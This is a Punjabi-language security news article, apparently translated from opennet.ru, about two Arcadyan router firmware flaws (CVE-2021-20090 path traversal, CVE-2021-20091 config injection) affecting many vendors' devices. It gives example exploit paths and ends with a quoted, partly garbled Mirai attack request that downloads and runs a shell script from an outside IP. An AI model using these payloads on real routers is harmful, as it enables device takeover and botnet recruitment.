17 ਨਿਰਮਾਤਾਵਾਂ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਨ ਵਾਲੇ ਘਰੇਲੂ ਰਾਊਟਰਾਂ ਵਿੱਚ ਕਮਜ਼ੋਰੀ

ਘਰੇਲੂ ਰਾਊਟਰਾਂ ਦੇ ਵਿਰੁੱਧ ਨੈਟਵਰਕ ਤੇ ਇੱਕ ਵਿਸ਼ਾਲ ਹਮਲਾ ਦਰਜ ਕੀਤਾ ਗਿਆ ਹੈ ਜਿਸਦਾ ਫਰਮਵੇਅਰ ਆਰਕੇਡੀਅਨ ਕੰਪਨੀ ਤੋਂ ਇੱਕ HTTP ਸਰਵਰ ਲਾਗੂਕਰਨ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਡਿਵਾਈਸਾਂ 'ਤੇ ਨਿਯੰਤਰਣ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ, ਦੋ ਕਮਜ਼ੋਰੀਆਂ ਦੇ ਸੁਮੇਲ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਜੋ ਰੂਟ ਅਧਿਕਾਰਾਂ ਦੇ ਨਾਲ ਆਰਬਿਟਰੇਰੀ ਕੋਡ ਦੇ ਰਿਮੋਟ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਦੀ ਆਗਿਆ ਦਿੰਦੀ ਹੈ। ਸਮੱਸਿਆ Arcadyan, ASUS ਅਤੇ Buffalo ਤੋਂ ADSL ਰਾਊਟਰਾਂ ਦੀ ਕਾਫ਼ੀ ਵਿਆਪਕ ਲੜੀ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਦੀ ਹੈ, ਨਾਲ ਹੀ Beeline ਬ੍ਰਾਂਡਾਂ (ਸਮੱਸਿਆ ਦੀ ਪੁਸ਼ਟੀ ਸਮਾਰਟ ਬਾਕਸ ਫਲੈਸ਼ ਵਿੱਚ ਕੀਤੀ ਗਈ ਹੈ), ਡਿਊਸ਼ ਟੈਲੀਕਾਮ, ਔਰੇਂਜ, O2, ਟੇਲਸ, ਵੇਰੀਜੋਨ, ਵੋਡਾਫੋਨ ਅਤੇ ਹੋਰ ਦੂਰਸੰਚਾਰ ਆਪਰੇਟਰ. ਇਹ ਨੋਟ ਕੀਤਾ ਗਿਆ ਹੈ ਕਿ ਸਮੱਸਿਆ 10 ਸਾਲਾਂ ਤੋਂ ਵੱਧ ਸਮੇਂ ਤੋਂ Arcadyan ਫਰਮਵੇਅਰ ਵਿੱਚ ਮੌਜੂਦ ਹੈ ਅਤੇ ਇਸ ਸਮੇਂ ਦੌਰਾਨ 20 ਵੱਖ-ਵੱਖ ਨਿਰਮਾਤਾਵਾਂ ਤੋਂ ਘੱਟੋ-ਘੱਟ 17 ਡਿਵਾਈਸ ਮਾਡਲਾਂ ਵਿੱਚ ਮਾਈਗ੍ਰੇਟ ਕਰਨ ਵਿੱਚ ਕਾਮਯਾਬ ਹੋ ਗਿਆ ਹੈ।

ਪਹਿਲੀ ਕਮਜ਼ੋਰੀ, CVE-2021-20090, ਪ੍ਰਮਾਣਿਕਤਾ ਤੋਂ ਬਿਨਾਂ ਕਿਸੇ ਵੀ ਵੈੱਬ ਇੰਟਰਫੇਸ ਸਕ੍ਰਿਪਟ ਤੱਕ ਪਹੁੰਚ ਕਰਨਾ ਸੰਭਵ ਬਣਾਉਂਦੀ ਹੈ। ਕਮਜ਼ੋਰੀ ਦਾ ਸਾਰ ਇਹ ਹੈ ਕਿ ਵੈੱਬ ਇੰਟਰਫੇਸ ਵਿੱਚ, ਕੁਝ ਡਾਇਰੈਕਟਰੀਆਂ ਜਿਨ੍ਹਾਂ ਰਾਹੀਂ ਚਿੱਤਰ, CSS ਫਾਈਲਾਂ ਅਤੇ JavaScript ਸਕ੍ਰਿਪਟਾਂ ਭੇਜੀਆਂ ਜਾਂਦੀਆਂ ਹਨ, ਪ੍ਰਮਾਣਿਕਤਾ ਤੋਂ ਬਿਨਾਂ ਪਹੁੰਚਯੋਗ ਹਨ। ਇਸ ਸਥਿਤੀ ਵਿੱਚ, ਡਾਇਰੈਕਟਰੀਆਂ ਜਿਨ੍ਹਾਂ ਲਈ ਪ੍ਰਮਾਣਿਕਤਾ ਤੋਂ ਬਿਨਾਂ ਪਹੁੰਚ ਦੀ ਆਗਿਆ ਹੈ, ਸ਼ੁਰੂਆਤੀ ਮਾਸਕ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਜਾਂਚ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਮੂਲ ਡਾਇਰੈਕਟਰੀ 'ਤੇ ਜਾਣ ਲਈ ਮਾਰਗਾਂ ਵਿੱਚ "../" ਅੱਖਰਾਂ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਨਾ ਫਰਮਵੇਅਰ ਦੁਆਰਾ ਬਲੌਕ ਕੀਤਾ ਗਿਆ ਹੈ, ਪਰ "..%2f" ਸੁਮੇਲ ਦੀ ਵਰਤੋਂ ਛੱਡ ਦਿੱਤੀ ਗਈ ਹੈ। ਇਸ ਤਰ੍ਹਾਂ, "http://192.168.1.1/images/..%2findex.htm" ਵਰਗੀਆਂ ਬੇਨਤੀਆਂ ਭੇਜਣ ਵੇਲੇ ਸੁਰੱਖਿਅਤ ਪੰਨਿਆਂ ਨੂੰ ਖੋਲ੍ਹਣਾ ਸੰਭਵ ਹੈ।

ਦੂਜੀ ਕਮਜ਼ੋਰੀ, CVE-2021-20091, ਇੱਕ ਪ੍ਰਮਾਣਿਤ ਉਪਭੋਗਤਾ ਨੂੰ apply_abstract.cgi ਸਕ੍ਰਿਪਟ ਵਿੱਚ ਵਿਸ਼ੇਸ਼ ਤੌਰ 'ਤੇ ਫਾਰਮੈਟ ਕੀਤੇ ਪੈਰਾਮੀਟਰ ਭੇਜ ਕੇ ਡਿਵਾਈਸ ਦੀਆਂ ਸਿਸਟਮ ਸੈਟਿੰਗਾਂ ਵਿੱਚ ਤਬਦੀਲੀਆਂ ਕਰਨ ਦੀ ਆਗਿਆ ਦਿੰਦੀ ਹੈ, ਜੋ ਪੈਰਾਮੀਟਰਾਂ ਵਿੱਚ ਇੱਕ ਨਵੀਂ ਲਾਈਨ ਅੱਖਰ ਦੀ ਮੌਜੂਦਗੀ ਦੀ ਜਾਂਚ ਨਹੀਂ ਕਰਦੀ ਹੈ। . ਉਦਾਹਰਨ ਲਈ, ਇੱਕ ਪਿੰਗ ਓਪਰੇਸ਼ਨ ਕਰਦੇ ਸਮੇਂ, ਇੱਕ ਹਮਲਾਵਰ ਫੀਲਡ ਵਿੱਚ "192.168.1.2%0AARC_SYS_TelnetdEnable=1" ਮੁੱਲ ਨਿਰਧਾਰਤ ਕਰ ਸਕਦਾ ਹੈ ਜਿਸ ਵਿੱਚ IP ਐਡਰੈੱਸ ਦੀ ਜਾਂਚ ਕੀਤੀ ਜਾ ਰਹੀ ਹੈ, ਅਤੇ ਸਕ੍ਰਿਪਟ, ਸੈਟਿੰਗਾਂ ਫਾਈਲ /tmp/etc/config/ ਬਣਾਉਣ ਵੇਲੇ। .glbcfg, ਇਸ ਵਿੱਚ “AARC_SYS_TelnetdEnable=1” ਲਾਈਨ ਲਿਖੇਗਾ, ਜੋ telnetd ਸਰਵਰ ਨੂੰ ਸਰਗਰਮ ਕਰਦਾ ਹੈ, ਜੋ ਰੂਟ ਅਧਿਕਾਰਾਂ ਦੇ ਨਾਲ ਅਪ੍ਰਬੰਧਿਤ ਕਮਾਂਡ ਸ਼ੈੱਲ ਪਹੁੰਚ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ। ਇਸੇ ਤਰ੍ਹਾਂ, AARC_SYS ਪੈਰਾਮੀਟਰ ਸੈੱਟ ਕਰਕੇ, ਤੁਸੀਂ ਸਿਸਟਮ 'ਤੇ ਕੋਈ ਵੀ ਕੋਡ ਚਲਾ ਸਕਦੇ ਹੋ। ਪਹਿਲੀ ਕਮਜ਼ੋਰੀ ਇਸ ਨੂੰ “/images/..%2fapply_abstract.cgi” ਵਜੋਂ ਐਕਸੈਸ ਕਰਕੇ ਪ੍ਰਮਾਣਿਕਤਾ ਤੋਂ ਬਿਨਾਂ ਸਮੱਸਿਆ ਵਾਲੀ ਸਕ੍ਰਿਪਟ ਨੂੰ ਚਲਾਉਣਾ ਸੰਭਵ ਬਣਾਉਂਦੀ ਹੈ।

ਕਮਜ਼ੋਰੀਆਂ ਦਾ ਸ਼ੋਸ਼ਣ ਕਰਨ ਲਈ, ਇੱਕ ਹਮਲਾਵਰ ਨੂੰ ਉਸ ਨੈੱਟਵਰਕ ਪੋਰਟ ਨੂੰ ਬੇਨਤੀ ਭੇਜਣ ਦੇ ਯੋਗ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ ਜਿਸ 'ਤੇ ਵੈੱਬ ਇੰਟਰਫੇਸ ਚੱਲ ਰਿਹਾ ਹੈ। ਹਮਲੇ ਦੇ ਫੈਲਣ ਦੀ ਗਤੀਸ਼ੀਲਤਾ ਦੁਆਰਾ ਨਿਰਣਾ ਕਰਦੇ ਹੋਏ, ਬਹੁਤ ਸਾਰੇ ਓਪਰੇਟਰ ਸਹਾਇਤਾ ਸੇਵਾ ਦੁਆਰਾ ਸਮੱਸਿਆਵਾਂ ਦੇ ਨਿਦਾਨ ਨੂੰ ਸਰਲ ਬਣਾਉਣ ਲਈ ਬਾਹਰੀ ਨੈਟਵਰਕ ਤੋਂ ਆਪਣੀਆਂ ਡਿਵਾਈਸਾਂ 'ਤੇ ਪਹੁੰਚ ਛੱਡ ਦਿੰਦੇ ਹਨ। ਜੇਕਰ ਇੰਟਰਫੇਸ ਤੱਕ ਪਹੁੰਚ ਸਿਰਫ ਅੰਦਰੂਨੀ ਨੈੱਟਵਰਕ ਤੱਕ ਸੀਮਿਤ ਹੈ, ਤਾਂ "DNS ਰੀਬਾਈਡਿੰਗ" ਤਕਨੀਕ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਇੱਕ ਬਾਹਰੀ ਨੈੱਟਵਰਕ ਤੋਂ ਹਮਲਾ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਰਾਊਟਰਾਂ ਨੂੰ ਮੀਰਾਈ ਬੋਟਨੈੱਟ ਨਾਲ ਕਨੈਕਟ ਕਰਨ ਲਈ ਕਮਜ਼ੋਰੀਆਂ ਪਹਿਲਾਂ ਤੋਂ ਹੀ ਸਰਗਰਮੀ ਨਾਲ ਵਰਤੀਆਂ ਜਾ ਰਹੀਆਂ ਹਨ: POST /images/..%2fapply_abstract.cgi HTTP/1.1 ਕਨੈਕਸ਼ਨ: ਯੂਜ਼ਰ-ਏਜੰਟ ਬੰਦ ਕਰੋ: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

ਸਰੋਤ: opennet.ru